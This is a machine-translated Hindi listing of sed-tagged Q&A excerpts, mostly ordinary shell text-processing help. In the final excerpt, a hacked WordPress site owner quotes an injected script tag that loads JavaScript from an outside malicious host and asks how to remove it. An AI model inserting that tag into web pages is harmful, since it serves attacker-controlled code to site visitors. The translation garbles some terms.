sed पर टैग किए गए जवाब

सेड (स्ट्रीम एडिटर) POSIX पर्यावरण के लिए एक कमांड लाइन संपादक है। एसआईडी एक संपादन स्क्रिप्ट के अनुसार एक या अधिक फ़ाइलों को संसाधित करता है और मानक आउटपुट पर परिणाम लिखता है। बेल लैब्स में बनाया गया, यह लगभग 70 के दशक के मध्य के बाद से है।

8
Grep, regex या perl के साथ एक पैटर्न के बाद स्ट्रिंग कैसे निकालें
मेरे पास एक फाइल है जो कुछ इस तरह दिखती है: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> मुझे उद्धरणों के भीतर कुछ भी निकालने की ज़रूरत है name=, अर्थात content_analyzer, content_analyzer2और content_analyzer_items। मैं एक लिनक्स बॉक्स पर ऐसा …

6
कैसे sed या awk के साथ एक पैटर्न युक्त लाइनों के अंत में जोड़ें?
यहाँ उदाहरण फ़ाइल है: somestuff... all: thing otherthing some other stuff मैं जो करना चाहता हूं वह all:इस तरह से शुरू होने वाली पंक्ति में जोड़ना है : somestuff... all: thing otherthing anotherthing some other stuff
89 bash  sed  awk 

13
बड़े पैमाने पर फ़ाइल का नाम बदलने के लिए sed का उपयोग करना
उद्देश्य इन फ़ाइल नाम को बदलें: F00001-0708-आरजी biasliuyda F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl इन फ़ाइलनामों के लिए: F0001-0708-आरजी biasliuyda F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl शेल कोड परीक्षा करना: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' निष्पादित करना: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh मेरा प्रश्न मुझे sed कोड समझ में नहीं आता है। मैं समझता हूं कि …
89 bash  shell  sed  file-rename 

2
JSON स्ट्रिंग को पार्स करने के लिए jq का उपयोग करें
मैं jqएक JSON संरचना को पार्स करने की कोशिश कर रहा हूं जैसे: { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } यही है, JSON में एक तत्व एक भाग है जिसमें बचा हुआ जसन है। तो, मैं कुछ की तर्ज पर है $ jq [.c] myFile.json …
87 json  string  sed  escaping  jq 

3
Sed में 'होल्ड स्पेस ’और space पैटर्न स्पेस’ का कॉन्सेप्ट
मैं sed में दो अवधारणाओं से भ्रमित हूं: स्पेस और पैटर्न स्पेस पकड़ो। क्या कोई उन्हें समझाने में मदद कर सकता है? यहाँ मैनुअल का एक टुकड़ा है: h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line …
86 linux  sed 

20
खोज और sed का उपयोग करके फ़ाइलों को पुन: नाम बदलें
मैं निर्देशिकाओं के एक समूह के माध्यम से जाना चाहता हूं और सभी फ़ाइलों का नाम बदलना चाहता हूं जो _test.rb में समाप्त होते हैं बजाय _spec.rb में समाप्त होते हैं। यह कुछ ऐसा है जिसे मैंने कभी नहीं सोचा है कि इस तरह से कैसे किया जाए ताकि इस …
85 bash  scripting  sed  find  replace 

6
किसी मेल लाइन के बाद से शुरू होने वाली फ़ाइल में सभी लाइनें कैसे हटाऊं?
मेरे पास एक फाइल है जो पाठ की कई पंक्तियों से बनी है: The first line The second line The third line The fourth line मेरे पास एक स्ट्रिंग है जो लाइनों में से एक है: The second line मैं फ़ाइल में इसके बाद स्ट्रिंग और सभी लाइनों को हटाना …
84 linux  bash  sed 

5
टेक्स्ट फ़ाइल की प्रत्येक पंक्ति में वर्णों की संख्या कैसे प्रिंट करें
मैं एक यूनिक्स कमांड का उपयोग करके टेक्स्ट फ़ाइल की प्रत्येक पंक्ति में वर्णों की संख्या प्रिंट करना चाहूंगा। मुझे पता है कि यह पॉवरशेल के साथ सरल है gc abc.txt | % {$_.length} लेकिन मुझे यूनिक्स कमांड की जरूरत है।
83 shell  unix  sed  awk 

8
केस-असंवेदनशील खोज और सेड के साथ बदलें
मैं एक लॉग फ़ाइल से पाठ निकालने के लिए SED का उपयोग करने का प्रयास कर रहा हूं। मैं बहुत अधिक परेशानी के बिना एक खोज और प्रतिस्थापन कर सकता हूं: sed 's/foo/bar/' mylog.txt हालाँकि, मैं खोज के मामले को असंवेदनशील बनाना चाहता हूं। मैंने जो गुगली की है, उससे …

11
किसी दिए गए टेक्स्ट फ़ाइल से सभी सफेद रिक्त स्थान कैसे निकालें
मैं एक दिए गए पाठ फ़ाइल से सभी सफेद रिक्त स्थान को निकालना चाहता हूं। क्या इसके लिए कोई शेल कमांड उपलब्ध है? या, sedइस उद्देश्य के लिए कैसे उपयोग करें। मुझे नीचे जैसा कुछ चाहिए: $ बिल्ली hello.txt | सेड…। मैंने यह कोशिश की: cat hello.txt | sed 's/ …
81 linux  bash  sed 

8
कमांड लाइन: grep द्वारा मिलान किए गए सभी फ़ाइलनामों में खोजें और बदलें
मैं grep द्वारा मेल की गई सभी फ़ाइलों में एक स्ट्रिंग को खोजने और बदलने की कोशिश कर रहा हूं: grep -n 'foo' * मुझे फॉर्म में आउटपुट देगा: [filename]:[line number]:[text] ग्रेप द्वारा लौटाए गए प्रत्येक फ़ाइल के लिए, मैं बदल कर फ़ाइल को संशोधित करना चाहते हैं fooके साथ …
80 linux  perl  awk  sed  grep 

7
कैसे sed या संभवतः grep का उपयोग करके पूरे स्ट्रिंग को बदलने के लिए
इसलिए मेरा पूरा सर्वर हैक हो गया या मैलवेयर की समस्या हो गई। मेरी साइट वर्डप्रेस पर आधारित है और मेरे सर्वर पर होस्ट की गई अधिकांश साइटें वर्डप्रेस आधारित हैं। हैकर ने हर एक फाइल और डेटाबेस में कोड की इस लाइन को जोड़ा <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> मैंने इसे …
10 bash  shell  sed  grep 
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.